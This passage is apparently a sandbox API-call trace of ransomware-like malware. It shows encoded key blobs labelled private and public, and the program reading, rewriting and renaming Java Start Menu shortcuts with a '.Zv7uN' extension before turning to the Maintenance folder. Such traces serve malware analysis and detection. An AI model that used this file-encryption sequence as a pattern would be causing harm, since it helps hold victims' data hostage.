DkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.454] GetCurrentThreadId () returned 0xa30 [0133.454] GetCurrentThreadId () returned 0xa30 [0133.454] GetCurrentThreadId () returned 0xa30 [0133.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.455] GetCurrentThreadId () returned 0xa30 [0133.455] GetCurrentThreadId () returned 0xa30 [0133.455] GetCurrentThreadId () returned 0xa30 [0133.455] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.455] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.456] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.456] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x45a [0133.456] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.456] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x45a, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x45a, lpOverlapped=0x0) returned 1 [0133.498] CloseHandle (hObject=0x1e8) returned 1 [0133.498] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.501] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x45a, lpOverlapped=0x0) returned 1 [0133.503] CloseHandle (hObject=0x1e8) returned 1 [0133.504] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk.zv7un")) returned 1 [0133.507] GetCurrentThreadId () returned 0xa30 [0133.507] GetCurrentThreadId () returned 0xa30 [0133.507] GetCurrentThreadId () returned 0xa30 [0133.507] GetCurrentThreadId () returned 0xa30 [0133.507] GetCurrentThreadId () returned 0xa30 [0133.507] GetCurrentThreadId () returned 0xa30 [0133.507] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Visit Java.com.lnk", cAlternateFileName="VISITJ~1.LNK")) returned 0 [0133.507] GetLastError () returned 0x12 [0133.507] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.508] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x63ca8160, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63ca8160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.508] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.508] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.508] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x63ca8160, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x63ca8160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.508] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.508] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.508] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x63adf0e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7cf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="About Java.lnk.Zv7uN", cAlternateFileName="ABOUTJ~1.ZV7")) returned 1 [0133.508] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.508] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.508] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x63b2b3a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Check For Updates.lnk.Zv7uN", cAlternateFileName="CHECKF~1.ZV7")) returned 1 [0133.509] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.509] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.509] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x63bc3920, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Configure Java.lnk.Zv7uN", cAlternateFileName="CONFIG~1.ZV7")) returned 1 [0133.509] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.509] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.509] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x63c0fbe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Get Help.lnk.Zv7uN", cAlternateFileName="GETHEL~1.ZV7")) returned 1 [0133.509] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.509] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.509] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x63ca8160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Visit Java.com.lnk.Zv7uN", cAlternateFileName="VISITJ~1.ZV7")) returned 1 [0133.509] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.509] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.509] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x758f8a20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x758f8a20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x63ca8160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Visit Java.com.lnk.Zv7uN", cAlternateFileName="VISITJ~1.ZV7")) returned 0 [0133.509] GetLastError () returned 0x12 [0133.509] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0133.510] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0133.510] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0133.510] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0133.510] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0133.510] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0133.510] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Backup and Restore Center.lnk", cAlternateFileName="BACKUP~1.LNK")) returned 1 [0133.510] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0133.510] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.510] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1030d3, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a1030d3, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a1030d3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x518)) returned 1 [0133.511] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk")) returned 0x20 [0133.511] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk", dwFileAttributes=0x80) returned 1 [0133.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 